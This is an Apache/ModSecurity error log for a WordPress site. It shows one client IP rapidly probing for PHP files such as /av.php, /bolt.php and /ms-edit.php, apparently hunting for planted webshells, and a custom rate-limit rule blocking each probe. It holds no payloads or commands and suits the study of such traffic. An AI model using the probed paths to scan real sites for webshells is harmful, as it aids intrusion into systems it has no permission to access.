[Thu Apr 23 16:18:37.234611 2026] [:error] [pid 65000:tid 65049] [client 20.216.153.175:25063] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenV3b6vRb9j6psK2Za-IwAAAhA"]
[Thu Apr 23 16:18:37.466222 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:63607] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV3cOAb-3sOknsk4fMHAAAAFA"]
[Thu Apr 23 16:18:38.071822 2026] [:error] [pid 42972:tid 43028] [client 20.216.153.175:38959] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/style.php"] [unique_id "aenV3sOAb-3sOknsk4fMHwAAAEw"]
[Thu Apr 23 16:18:38.281568 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:38948] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV3sOAb-3sOknsk4fMIQAAAFE"]
[Thu Apr 23 16:18:39.501317 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:31243] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV38OAb-3sOknsk4fMJgAAAEM"]
[Thu Apr 23 16:18:40.009186 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:19267] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV4MOAb-3sOknsk4fMKgAAAEs"]
[Thu Apr 23 16:18:40.757501 2026] [:error] [pid 59700:tid 59725] [client 20.216.153.175:64071] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV4JXyGZJFeAIDWtnpIgAAAVc"]
[Thu Apr 23 16:18:41.926780 2026] [:error] [pid 46953:tid 46974] [client 20.216.153.175:64102] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV4UnlpdHh-P6wKboG6wAAAlI"]
[Thu Apr 23 16:18:42.203408 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:51385] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV4sOAb-3sOknsk4fMMwAAAEc"]
[Thu Apr 23 16:18:43.117797 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:25438] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV48OAb-3sOknsk4fMOQAAAEs"]
[Thu Apr 23 16:18:43.458191 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:46763] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV44V5EysYcTLjmwjsXwAAAdE"]
[Thu Apr 23 16:18:44.080438 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:33593] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV5EnlpdHh-P6wKboG7QAAAkY"]
[Thu Apr 23 16:18:44.914170 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:46737] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV5MOAb-3sOknsk4fMPgAAAEk"]
[Thu Apr 23 16:18:44.925510 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:46677] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aenV5MOAb-3sOknsk4fMPwAAAFc"]
[Thu Apr 23 16:18:45.648841 2026] [:error] [pid 43083:tid 43100] [client 20.216.153.175:64162] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV5TC5hrvNXosL83JSqQAAAM8"]
[Thu Apr 23 16:18:46.388940 2026] [:error] [pid 42971:tid 42998] [client 20.216.153.175:33513] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV5jEP2_5RswrH8bELeAAAAAw"]
[Thu Apr 23 16:18:46.561233 2026] [:error] [pid 25635:tid 25663] [client 20.216.153.175:25041] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV5sRxv6UsgRGKB3IdngAAARg"]
[Thu Apr 23 16:18:47.407946 2026] [:error] [pid 64967:tid 64981] [client 20.216.153.175:33589] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV54AV4GfOOdX8QzpYUwAAAYw"]
[Thu Apr 23 16:18:48.448408 2026] [:error] [pid 46953:tid 46964] [client 20.216.153.175:33490] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV6EnlpdHh-P6wKboG8QAAAkg"]
[Thu Apr 23 16:18:48.501825 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:33536] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV6L6vRb9j6psK2Za-JgAAAhU"]
[Thu Apr 23 16:18:49.413399 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:39424] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vx.php"] [unique_id "aenV6YV5EysYcTLjmwjsZAAAAdc"]
[Thu Apr 23 16:18:50.052009 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:29326] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vx.php"] [unique_id "aenV6sOAb-3sOknsk4fMRAAAAEM"]
[Thu Apr 23 16:18:50.710559 2026] [:error] [pid 43083:tid 43087] [client 20.216.153.175:46752] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vx.php"] [unique_id "aenV6jC5hrvNXosL83JSrwAAAMI"]
[Thu Apr 23 16:18:50.952325 2026] [:error] [pid 43083:tid 43108] [client 20.216.153.175:29349] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV6jC5hrvNXosL83JSsAAAANc"]
[Thu Apr 23 16:18:51.318824 2026] [:error] [pid 65000:tid 65045] [client 20.216.153.175:46749] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vx.php"] [unique_id "aenV676vRb9j6psK2Za-KQAAAgw"]
[Thu Apr 23 16:18:51.872766 2026] [:error] [pid 65000:tid 65040] [client 20.216.153.175:33572] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aenV676vRb9j6psK2Za-LAAAAgc"]
[Thu Apr 23 16:18:52.487143 2026] [:error] [pid 43083:tid 43086] [client 20.216.153.175:46752] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aenV7DC5hrvNXosL83JSsgAAAME"]
[Thu Apr 23 16:18:52.866884 2026] [:error] [pid 59700:tid 59705] [client 20.216.153.175:42412] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aenV7JXyGZJFeAIDWtnpKAAAAUM"]
[Thu Apr 23 16:18:53.165708 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:60024] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aenV7cOAb-3sOknsk4fMRwAAAFQ"]
[Thu Apr 23 16:18:53.746590 2026] [:error] [pid 64998:tid 65020] [client 20.216.153.175:12998] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aenV7YV5EysYcTLjmwjsbAAAAdI"]
[Thu Apr 23 16:18:54.138202 2026] [:error] [pid 25635:tid 25642] [client 20.216.153.175:33545] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV7sRxv6UsgRGKB3IdowAAAQM"]
[Thu Apr 23 16:18:54.356109 2026] [:error] [pid 43083:tid 43104] [client 20.216.153.175:59997] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aenV7jC5hrvNXosL83JStQAAANM"]
[Thu Apr 23 16:18:55.278763 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:33598] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aenV776vRb9j6psK2Za-LwAAAgM"]
[Thu Apr 23 16:18:55.650169 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:48520] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV78OAb-3sOknsk4fMTAAAAEI"]
[Thu Apr 23 16:18:56.080055 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:35089] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aenV8MOAb-3sOknsk4fMTgAAAEk"]
[Thu Apr 23 16:18:57.093782 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:21733] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aenV8cOAb-3sOknsk4fMVQAAAFU"]
[Thu Apr 23 16:18:57.779738 2026] [:error] [pid 43083:tid 43103] [client 20.216.153.175:33548] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aenV8TC5hrvNXosL83JStwAAANI"]
[Thu Apr 23 16:18:57.803060 2026] [:error] [pid 42971:tid 42993] [client 20.216.153.175:42344] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV8TEP2_5RswrH8bELfQAAAAc"]
[Thu Apr 23 16:18:58.684306 2026] [:error] [pid 43083:tid 43089] [client 20.216.153.175:39479] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aenV8jC5hrvNXosL83JSuQAAAMQ"]
[Thu Apr 23 16:18:58.688625 2026] [:error] [pid 46953:tid 46976] [client 20.216.153.175:57936] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-act.php"] [unique_id "aenV8knlpdHh-P6wKboG8wAAAlQ"]
[Thu Apr 23 16:18:59.268958 2026] [:error] [pid 46953:tid 46966] [client 20.216.153.175:39482] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/vx.php"] [unique_id "aenV80nlpdHh-P6wKboG9QAAAko"]
[Thu Apr 23 16:18:59.319102 2026] [:error] [pid 46953:tid 46972] [client 20.216.153.175:21705] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbhu.php"] [unique_id "aenV80nlpdHh-P6wKboG9gAAAlA"]
[Thu Apr 23 16:19:07.147379 2026] [autoindex:error] [pid 42972:tid 43021] [client 20.216.153.175:57943] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:19:14.557545 2026] [autoindex:error] [pid 42972:tid 43024] [client 20.216.153.175:39456] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:19:18.780587 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:57943] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWBsOAb-3sOknsk4fMewAAAFc"]
[Thu Apr 23 16:19:19.027255 2026] [:error] [pid 59700:tid 59702] [client 20.216.153.175:46028] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWB5XyGZJFeAIDWtnpTwAAAUA"]
[Thu Apr 23 16:19:19.583854 2026] [:error] [pid 25635:tid 25645] [client 20.216.153.175:22139] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWB8Rxv6UsgRGKB3IdpwAAAQY"]
[Thu Apr 23 16:19:20.064692 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:27809] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWCG6I0QqmmmLTHE3G7QAAAIc"]
[Thu Apr 23 16:19:20.114634 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:29867] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWCG6I0QqmmmLTHE3G7gAAAIM"]
[Thu Apr 23 16:19:20.655288 2026] [:error] [pid 59700:tid 59706] [client 20.216.153.175:33599] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWCJXyGZJFeAIDWtnpUAAAAUQ"]
[Thu Apr 23 16:19:21.351031 2026] [:error] [pid 59700:tid 59708] [client 20.216.153.175:42307] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWCZXyGZJFeAIDWtnpUQAAAUY"]
[Thu Apr 23 16:19:21.449476 2026] [:error] [pid 42971:tid 43000] [client 20.216.153.175:27780] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWCTEP2_5RswrH8bELggAAAA4"]
[Thu Apr 23 16:19:22.049054 2026] [:error] [pid 64998:tid 65013] [client 20.216.153.175:30273] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWCoV5EysYcTLjmwjskAAAAcs"]
[Thu Apr 23 16:19:22.309052 2026] [:error] [pid 42971:tid 43006] [client 20.216.153.175:27790] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWCjEP2_5RswrH8bELgwAAABQ"]
[Thu Apr 23 16:19:22.651135 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:39456] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aenWCsOAb-3sOknsk4fMfAAAAEM"]
[Thu Apr 23 16:19:22.668960 2026] [:error] [pid 64967:tid 64985] [client 20.216.153.175:57964] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWCoAV4GfOOdX8QzpYXwAAAZA"]
